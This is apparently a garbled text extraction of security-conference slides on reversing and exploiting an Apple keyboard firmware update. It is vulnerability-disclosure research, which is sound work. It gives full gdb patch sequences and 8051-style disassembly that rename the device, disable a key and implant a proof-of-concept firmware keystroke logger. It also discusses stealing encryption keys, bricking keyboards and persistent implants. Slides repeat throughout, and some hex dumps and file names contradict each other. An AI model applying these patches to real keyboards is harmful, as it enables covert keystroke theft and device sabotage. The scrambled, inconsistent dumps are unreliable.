<td>0x00</td>
</tr>
<tr>
<td>0x63dd:</td>
<td>0x1e</td>
</tr>
<tr>
<td>0x63de:</td>
<td>0x02</td>
</tr>
<tr>
<td>0x63df:</td>
<td>0x64</td>
</tr>
<tr>
<td>0x63e0:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63e1:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63e2:</td>
<td>0xde</td>
</tr>
<tr>
<td>0x63e3:</td>
<td>0x04</td>
</tr>
<tr>
<td>0x63e4:</td>
<td>0x03</td>
</tr>
<tr>
<td>0x63e5:</td>
<td>0x09</td>
</tr>
<tr>
<td>0x63e6:</td>
<td>0x04</td>
</tr>
<tr>
<td>0x63e7:</td>
<td>0x16</td>
</tr>
<tr>
<td>0x63e8:</td>
<td>0x03</td>
</tr>
<tr>
<td>0x63e9:</td>
<td>0x41</td>
</tr>
<tr>
<td>0x63ea:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63eb:</td>
<td>0x70</td>
</tr>
<tr>
<td>0x63ec:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63ed:</td>
<td>0x70</td>
</tr>
<tr>
<td>0x63ee:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63ef:</td>
<td>0x6c</td>
</tr>
<tr>
<td>0x63f0:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63f1:</td>
<td>0x65</td>
</tr>
<tr>
<td>0x63f2:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63f3:</td>
<td>0x2c</td>
</tr>
<tr>
<td>0x63f4:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63f5:</td>
<td>0x20</td>
</tr>
<tr>
<td>0x63f6:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63f7:</td>
<td>0x49</td>
</tr>
<tr>
<td>0x63f8:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63f9:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63fa:</td>
<td>0x09</td>
</tr>
<tr>
<td>0x63fb:</td>
<td>0x01</td>
</tr>
</tbody>
</table>

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

bLength = 0x16 size of descriptor
bDescriptorType = 0x03 string descriptor
bString = Ap
Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

(gdb) x/38b $0x63d6
0x63d6: 0x00 0x09 0x00 0x00 0xde 0x00 0x00 0x1e
0x63de: 0x02 0x64 0x00 0x00 0xde 0x04 0x03 0x09
0x63e6: 0x04 0x16 0x03 0x41 0x00 0x70 0x00 0x70
0x63ee: 0x00 0x6c 0x00 0x2c 0x00 0x20
0x63f6: 0x00 0x49 0x00 0x00 0x09 0x01

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

bLength = 0x16 size of descriptor
bDescriptorType = 0x03 string descriptor
bString = App
(gdb) x/38b 0x63d6
0x63d6: 0x00 0x09 0x00 0x00 0xde 0x00 0x00 0x1e
0x63de: 0x02 0x64 0x00 0x00 0xde 0x04 0x03 0x09
0x63e6: 0x04 0x16 0x03 0x41 0x00 0x70 0x00 0x70
0x63ee: 0x00 0x00 0x6c 0x00 0x65 0x00 0x2c 0x00 0x20
0x63f6: 0x00 0x49 0x00 0x09 0x01

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

bLength = 0x16 size of descriptor
bDescriptorType = 0x03 string descriptor
bString = Appl
Some simple exploits

Firmware Update Analysis Exploitation

Hooking endpoint buffer
Keystroke logger
Loose ends

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

bLength = 0x16 size of descriptor
bDescriptorType = 0x03 string descriptor
bString = Apple
Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

- bLength = 0x16 size of descriptor
- bDescriptorType = 0x03 string descriptor
- bString = Apple,
Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

bLength = 0x16 size of descriptor
bDescriptorType = 0x03 string descriptor
bString = Apple,
Introduction
Firmware Update
Analysis
Exploitation

Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

bLength = 0x16 size of descriptor
bDescriptorType = 0x03 string descriptor
bString = Apple, I
(gdb) x/38b 0x63d6
0x63d6: 0x00 0x09 0x00 0x00 0xde 0x00 0x00 0x1e
0x63de: 0x02 0x64 0x00 0x00 0xde 0x04 0x03 0x09
0x63e6: 0x04 0x16 0x03 0x41 0x00 0x70 0x00 0x70
0x63ee: 0x00 0x6c 0x00 0x2c 0x00 0x20
0x63f6: 0x00 0x49 0x00 0x00 0x09 0x01

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

bLength = 0x16 size of descriptor
bDescriptorType = 0x03 string descriptor
bString = Apple, Inc
(gdb) \x/38b 0x63d6
0x63d6: 0x00 0x09 0x00 0x00 0xde 0x00 0x00 0x1e
0x63de: 0x02 0x64 0x00 0x00 0xde 0x04 0x03 0x09
0x63e6: 0x04 0x16 0x03 0x41 0x00 0x70 0x00 0x70
0x63ee: 0x00 0x6c 0x00 0x65 0x00 0x2c 0x00 0x20
0x63f6: 0x00 0x49 0x00 0x00 0x09 0x01

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

bLength = 0x16 size of descriptor
bDescriptorType = 0x03 string descriptor
bString = Apple, Inc

We can change “Apple, Inc” to “Owned” for fun.
Another benign exploit.

```bash
$ gdb -q HIDFirmwareUpdaterTool
(gdb) tb *0x226a
Breakpoint 1 at 0x226a
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irxrfw
Breakpoint 1, 0x0000226a in ?? ()
(gdb) set {char}0x63e7 = 0x0c
(gdb) set {char}0x63e9 = 0x4f
(gdb) set {char}0x63eb = 0x77
(gdb) set {char}0x63ed = 0x6e
(gdb) set {char}0x63ef = 0x65
(gdb) set {char}0x63f1 = 0x64
(gdb) set {short}0x845e = 0x1ce4
(gdb) c
```
Another benign exploit.

```bash
$ gdb -q HIDFirmwareUpdaterTool
(gdb) tb *0x226a
Breakpoint 1 at 0x226a
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
Breakpoint 1, 0x0000226a in ?? ()
(gdb) set {char}0x63e7 = 0x0c
(gdb) set {char}0x63e9 = 0x4f
(gdb) set {char}0x63eb = 0x77
(gdb) set {char}0x63ed = 0x6e
(gdb) set {char}0x63ef = 0x65
(gdb) c
```

Demo.
Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

Apple Keyboard@/dev/120000
Class Inheritance: IOUSBDevice : IOUSBHub : IOService : IOREgistryEntry : NSObject
Bundle Identifier: com.apple.iokit.IOUSBFamily

Property | Type | Value
---|---|---
bcdDevice | Number | 0x69
bDeviceClass | Number | 0x0
bDeviceProtocol | Number | 0x0
bDeviceSubClass | Number | 0x0
bMaxPacketSize0 | Number | 0x8
bNumConfigurations | Number | 0x1
bus Power Available | Number | 0x32
device speed | Number | 0x0
diProduct | Number | 0x220
diVendor | Number | 0x5ac
iManufacturer | Number | 0x1
IOCPluginTypes | Dictionary | 1 value
IOGeneralInterest | String | IOC ommand is not serializable
IOUserClientClass | String | IOUSBDeviceUserClientV2
iProduct | Number | 0x2
iSerialNumber | Number | 0x0
locationID | Number | 0xdf120000
low powered displayed | Boolean | False
non-removable | String | yes
portNum | Number | 0x2
portUsingExtraPowerForWake | Number | 0x0
requested Power | Number | 0xa
sessionID | Number | 0x10c608f26225
USB Address | Number | 0x4
USB Product Name | String | Apple Keyboard
USB Vendor Name | String | Owned
There is plenty of unused space in the firmware.

0x30 is the HALT instruction.
Red = 0x30 , Blue = everything else.
0x0DFB to 0x12FF is all HALT instructions.
More than 1K of free space.
Universal Serial Bus Specification Revision 2.0

Figure 8-38. Interrupt Transaction Format
How do we intercept keystrokes typed by the user?
How do we send our own keystrokes back to the host?

- Easy! Modify callers of the routine that fills endpoint buffer
- Keyboard uses interrupt IN endpoint 0x81

<table>
<thead>
<tr>
<th>Bit #</th>
<th>7</th>
<th>6</th>
<th>5</th>
<th>4</th>
<th>3</th>
<th>2</th>
<th>1</th>
<th>0</th>
</tr>
</thead>
<tbody>
<tr>
<td>Field</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Read/Write</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
</tr>
<tr>
<td>Default</td>
<td>Unknown</td>
<td>Unknown</td>
<td>Unknown</td>
<td>Unknown</td>
<td>Unknown</td>
<td>Unknown</td>
<td>Unknown</td>
<td>Unknown</td>
</tr>
</tbody>
</table>

The Endpoint 1 buffer is comprised of 8 bytes located at address 0x58 to 0x5F

Reversing and Exploiting an Apple Firmware Update

K. Chen

Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends
Firmware Update Analysis

Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

K. Chen
Reversing and Exploiting an Apple Firmware Update

<p>| | | | | | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>08</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>command-space</td>
</tr>
<tr>
<td>08</td>
<td>00</td>
<td>2C</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>2C</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>17</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>t</td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>08</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>e</td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>15</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>r</td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>10</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>m</td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Introduction
Firmware Update
Analysis
Exploitation

Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

00 00 0C 00 00 00 00 00 i
00 00 00 00 00 00 00 00

00 00 11 00 00 00 00 00 n
00 00 00 00 00 00 00 00

00 00 04 00 00 00 00 00 a
00 00 00 00 00 00 00 00

00 00 0F 00 00 00 00 00 l
00 00 00 00 00 00 00 00

00 00 28 00 00 00 00 00 return
00 00 00 00 00 00 00 00

K. Chen
Reversing and Exploiting an Apple Firmware Update
1ef0 is the key routine that copies stuff into endpoint buffers

arguments: X points to stuff to copy into endpoint buffer
            [32] holds endpoint number
            [33] holds # of bytes to copy
            [22]

 1ef0:  3c 32 03  CMP    [32], 03
 1ef3: d0 3f  JNC    3f  -->  1f33
 1ef5: 5a 30  MOV    [30], X
 1ef7: 51 32  MOV A, [32]
 1ef9: f0 39  INDEX 39
 1efb: 5c  MOV X, A
 1efc: 51 33  MOV A, [33]
 1efe: 53 31  MOV    [31], A
 1f00: 7a 31  DEC    [31]
 1f02: c0 08  JC    08  -->  1f0b
 1f04: 3e 30  MVI A, [[30]++]
 1f06: 61 00  MOV reg[X+00], A
 1f08: 75  INC X
 1f09: 8f f6  JMP f6  -->  1f00

X holds address of the start of endpoint buffer

see 1f34 (50, 58, 60)
Some simple exploits

Hooking endpoint buffer

Keystroke logger

Loose ends

1f0b: 58 32 MOV X, [32]
1f0d: 5b MOV A, X
1f0e: ff 67 INDEX 67
1f10: 22 22 AND A, [22]
1f12: a0 03 JZ 03 ---> 1f16
1f14: 50 80 MOV A, 80
1f16: 22 22 AND A, [22] [22]=2 if EP1 int,
1f18: 61 41 MOV reg[X+41], A
1f1a: 56 27 00 MOV [X+27], 00
1f1d: 5d f7 MOV A, reg[f7] put CPU flags into A
1f1f: 53 30 MOV [30], A
1f21: 70 fe AND F, fe disable global ints
1f23: 63 44 0d MOV reg[X+44], 0d set DATA1
1f26: 5e 44 MOV A, reg[X+44] write endpoint count
1f28: 39 0d CMP A, 0d
1f2a: bf f8 JNZ f8 ---> 1f23 make sure mode was set
1f2c: 47 30 01 TST [30], 01 check if global interrupts
1f2f: a0 03 JZ 03 ---> 1f33 was previously enabled
1f31: 71 01 OR F, 01 enable global interrupts
1f33: 7f RET

K. Chen
Reversing and Exploiting an Apple Firmware Update
Before George W. Bush took office in 2000, Clinton staffers removed the ‘w’ key from all computer keyboards in the White House

We can do this also, but in firmware
0d51 gets called every time a key goes up/down

0d51: 5d 45  MOV A, reg[45]  get endpoint 1 mode
0d53: 21 0f  AND A, 0f
0d55: 39 0c  CMP A, 0c 0x0c = 1100 (NAK IN)
0d57: b0 1e  JNZ 1e ---> 0d76
0d59: 10  PUSH X
0d5a: 7c 06 18  LCALL 0618  A = ([95] - [96]) | [97]
0d5d: 20  POP X
0d5e: 39 00  CMP A, 00
0d60: b0 15  JNZ 15 ---> 0d76
0d62: 55 32 01  MOV [32], 01
0d65: 55 33 08  MOV [33], 08
0d68: 10  PUSH X
0d69: 50 00  MOV A, 00
0d6b: 08  PUSH A
0d6c: 50 65  MOV A, 65
0d6e: 5c  MOV X, A
0d6f: 18  POP A
0d70: 7c 1e f0  LCALL 1ef0  endpoint 1
Some simple exploits

Hooking endpoint buffer
Keystroke logger

Loose ends

0d51: 5d 45 MOV A, reg[45]
0d53: 21 0f AND A, 0f
0d55: 39 0c CMP A, 0c
0d57: b0 1e JNZ le --> 0d76

1000: 30 HALT
1001: 30 HALT
1002: 30 HALT
1003: 30 HALT
1004: 30 HALT
1005: 30 HALT
1006: 30 HALT
1007: 30 HALT
1008: 30 HALT
1009: 30 HALT
100a: 30 HALT
100b: 30 HALT
100c: 30 HALT
Introduction
Firmware Update
Analysis
Exploitation

Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

0d51: 5d 45 MOV A, reg[45] 0d51: 7d 10 00 LJMP 10 00
0d53: 21 0f AND A, 0f
0d55: 39 0c CMP A, 0c
0d57: b0 1e JNZ 1e --> 0d76

1000: 30 HALT
1001: 30 HALT
1002: 30 HALT
1003: 30 HALT
1004: 30 HALT
1005: 30 HALT
1006: 30 HALT
1007: 30 HALT
1008: 30 HALT
1009: 30 HALT
100a: 30 HALT
100b: 30 HALT
100c: 30 HALT

K. Chen
Reversing and Exploiting an Apple Firmware Update
Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

K. Chen
Reversing and Exploiting an Apple Firmware Update
Introduction
Firmware Update
Analysis
Exploitation

Some simple exploits
Hooking endpoint buffer
Keystroke logger

Loose ends

K. Chen
Reversing and Exploiting an Apple Firmware Update

0d51: 5d 45 MOV A, reg[45] 0d51: 7d 10 00 LJMP 10 00
0d53: 21 0f AND A, 0f
0d55: 39 0c CMP A, 0c
0d57: b0 1e JNZ 1e --> 0d76

1000: 30 HALT 1000: 3c 67 1a CMP [67], 1a
1001: 30 HALT 1003: b0 04 JNZ 04 --> 1008
1002: 30 HALT 1005: 55 67 00 MOV [67], 00
1003: 30 HALT 1008: 5d 45 MOV A, reg[45]
1004: 30 HALT 100a: 21 0f AND A, 0f
1005: 30 HALT 100c: 39 0c CMP A, 0c
1006: 30 HALT 100e: 7d 0d 57 LJMP 0d 57
1007: 30 HALT
1008: 30 HALT
1009: 30 HALT
100a: 30 HALT
100b: 30 HALT
100c: 30 HALT
This disables the 'w' key:

$ gdb -q HIDFirmwareUpdaterTool
   (gdb) tb *0x226a
Breakpoint 1 at 0x226a
   (gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
Breakpoint 1, 0x0000226a in ?? ()
   (gdb) set {char}0x6ff2 = 0x7d
   (gdb) set {char}0x6ff3 = 0x10
   (gdb) set {char}0x6ff4 = 0x00
   (gdb) set {int}0x72e3 = 0xb01a673c
   (gdb) set {int}0x72e7 = 0x00675504
   (gdb) set {int}0x72eb = 0x0f21455d
   (gdb) set {int}0x72ef = 0x0d7d0c39
   (gdb) set {char}0x72f3 = 0x57
   (gdb) set {short}0x845e = 0xdae4
   (gdb) c
This disables the 'w' key:

```
$ gdb -q HIDFirmwareUpdaterTool
(gdb) tb *0x226a
Breakpoint 1 at 0x226a
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
Breakpoint 1, 0x0000226a in ?? ()
(gdb) set {char}0x6ff2 = 0x7d
(gdb) set {char}0x6ff3 = 0x10
(gdb) set {char}0x6ff4 = 0x00
(gdb) set {int}0x72e3 = 0xb01a673c
(gdb) set {int}0x72e7 = 0x00675504
(gdb) set {int}0x72eb = 0x0f21455d
(gdb) set {int}0x72ef = 0x0d7d0c39
(gdb) set {char}0x72f3 = 0x57
(gdb) set {short}0x845e = 0xdae4
(gdb) c
```

Demo.
We can also intercept the keystrokes and store them.
Some simple exploits

Hooking endpoint buffer

Keystroke logger

Loose ends

1000: 3c 67 00  CMP [67], 00
1003: a0 26  JZ 26 ---> 102a
1005: 10  PUSH X
1006: 3c 67 28  CMP [67], 28
1009: b0 11  JNZ 11 ---> 101b
100b: 5d 61  MOV A, reg[61]
100d: 39 00  CMP A, 00
100f: a0 04  JZ 04 ---> 1014
1011: 78  DEC A
1012: 60 61  MOV reg[61], A
1014: 5c  MOV X, A
1015: 5e 62  MOV A, reg[X+62]
1017: 53 67  MOV [67], A
1019: 80 0f  JMP 0f ---> 1029
Introduction
Firmware Update
Analysis
Exploitation

Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

101b: 5d 61 MOV A, reg[61]
101d: 39 06 CMP A, 06
101f: a0 09 JZ 09 ---> 1029
1021: 74 INC A
1022: 60 61 MOV reg[61], A
1024: 5c MOV X, A
1025: 51 67 MOV A, [67]
1027: 61 62 MOV reg[X+62], A
1029: 20 POP X
102a: 5d 45 MOV A, reg[45]
102c: 21 0f AND A, 0f
102e: 39 0c CMP A, 0c
1030: 7d 0d 57 LJMP 0d 57

K. Chen
Reversing and Exploiting an Apple Firmware Update
A firmware keystroke logger:

$ gdb -q HIDFirmwareUpdaterTool
(gdb) tb *0x226a
Breakpoint 1 at 0x226a
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
Breakpoint 1, 0x0000226a in ?? ()
(gdb) set {char}0x64b8 = 0x61
(gdb) set {char}0x64b9 = 0x00
(gdb) set {char}0x6ff2 = 0x7d
(gdb) set {char}0x6ff3 = 0x10
(gdb) set {char}0x6ff4 = 0x00
(gdb) set {int}0x72e3 = 0xa000673c
(gdb) set {int}0x72e7 = 0x673c1026
(gdb) set {int}0x72eb = 0x5d11b028
(gdb) set {int}0x72ef = 0xa0003961
(gdb) set {int}0x72f3 = 0x61607804
Some simple exploits

Hooking endpoint buffer

Keystroke logger

Loose ends

(gdb) set {int}0x72f7 = 0x53625e5c
(gdb) set {int}0x72fb = 0x5d0f8067
(gdb) set {int}0x72ff = 0xa0063961
(gdb) set {int}0x7306 = 0x61607409
(gdb) set {int}0x730a = 0x6167515c
(gdb) set {int}0x730e = 0x455d2062
(gdb) set {int}0x7312 = 0x0c390f21
(gdb) set {char}0x7316 = 0x7d
(gdb) set {char}0x7317 = 0x0d
(gdb) set {char}0x7318 = 0x57
(gdb) set {short}0x845e = 0x3ce9
(gdb) c
(gdb) set {int}0x72f7 = 0x53625e5c
(gdb) set {int}0x72fb = 0x5d0f8067
(gdb) set {int}0x72ff = 0xa0063961
(gdb) set {int}0x7306 = 0x61607409
(gdb) set {int}0x730a = 0x6167515c
(gdb) set {int}0x730e = 0x455d2062
(gdb) set {int}0x7312 = 0x0c390f21
(gdb) set {char}0x7316 = 0x7d
(gdb) set {char}0x7317 = 0x0d
(gdb) set {char}0x7318 = 0x57
(gdb) set {short}0x845e = 0x3ce9
(gdb) c

Demo.
Proof-of-concept keystroke logger:

- Deliberately neutered
- Have to use the RETURN key to retrieve stored keystrokes
- Can only store a small handful of keystrokes
Proof-of-concept keystroke logger:

- Deliberately neutered
- Have to use the \texttt{RETURN} key to retrieve stored keystrokes
- Can only store a small handful of keystrokes

But:

- A logger that can store a couple dozen keystrokes in RAM can be written without difficulty
- Could also write intercepted keystrokes to flash and store more than 1000 keystrokes
- Could be used for stealing a full-disk encryption key
Do we need physical access to retrieve data from a keyboard?

- No, see Blaze et al.’s paper in USENIX Security 2006.
- They use timing delays
- Data is exfiltrated over interactive protocols: ssh, vnc, etc.
Don’t use Apple keyboards in your data center

- Shared hosting can be attacked via an Apple keyboard
What about MacBook/MacBook Pro keyboards?
What about MacBook/MacBook Pro keyboards?

**MacBook, MacBook Pro Keyboard Firmware Update 1.0**

About MacBook, MacBook Pro Keyboard Firmware Update 1.0
This MacBook and MacBook Pro firmware update addresses an issue where the first key press may be ignored if the computer has been sitting idle. It also addresses some other issues.

The update package will install an updater application into the Applications/Utilities folder and will launch it automatically. Please follow the instructions in the updater application to complete the update process.

For more information about this update, please see About the MacBook, MacBook Pro Keyboard Firmware Update 1.0

http://support.apple.com/downloads/MacBook__MacBook_Pro_Keyboard_Firmware_Update_1_0

K. Chen Reversing and Exploiting an Apple Firmware Update
Introduction
Firmware Update
Analysis
Exploitation

Some simple exploits
Hooking endpoint buffer
Keystroke logger

Loose ends

http://www.flickr.com/photos/gabrielescotto/3195943331/
Denial of service:

- It is very easy to brick a keyboard by interrupting the bootloader during firmware re-programming.
- However, a keyboard bricked in this way can generally be unbricked by reflashing to 0x69 firmware.
Denial of service:

- It is very easy to brick a keyboard by interrupting the bootloader during firmware re-programming.
- However, a keyboard bricked in this way can generally be unbricked by reflashing to 0x69 firmware.

Instead of:

```
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irxrfw
do:
```

```
(gdb) r -progress -pid 0x228 kbd_0x0069_0x0220.irxrfw
```
A keyboard can also be intentionally bricked:

- With a single well-placed jump, we can completely brick a keyboard
- Can be done so that the keyboard cannot be re-flashed
- I will not be releasing code for this, but will give a demo to any member of the press on request (BYOK)
Why Apple needs to fix this vulnerability ASAP:

- Some miscreant with a Safari 0-day decides to set up a webpage that bricks Mac keyboards
- Particularly devastating for laptop computers
- a “Chernobyl/CIH” for Macs, if you will
Why Apple needs to fix this vulnerability ASAP:

- Some miscreant with a Safari 0-day decides to set up a webpage that bricks Mac keyboards
- Particularly devastating for laptop computers
- A “Chernobyl/CIH” for Macs, if you will

In addition, an attacker can:

- Install malicious code, disable the firmware update mechanism and have permanent access
Special thanks to:

- Ben FrantzDale (benfrantzdale.livejournal.com)
- scriptblue
- Kang Li (University of Georgia)
- Scott Moulton (MyHardDriveDied.com)
- Nathan Rittenhouse (MIT)
Questions?

- kchen.blackhat at gmail.com
- http://mprotect.blogspot.com
- http://twitter.com/k_chen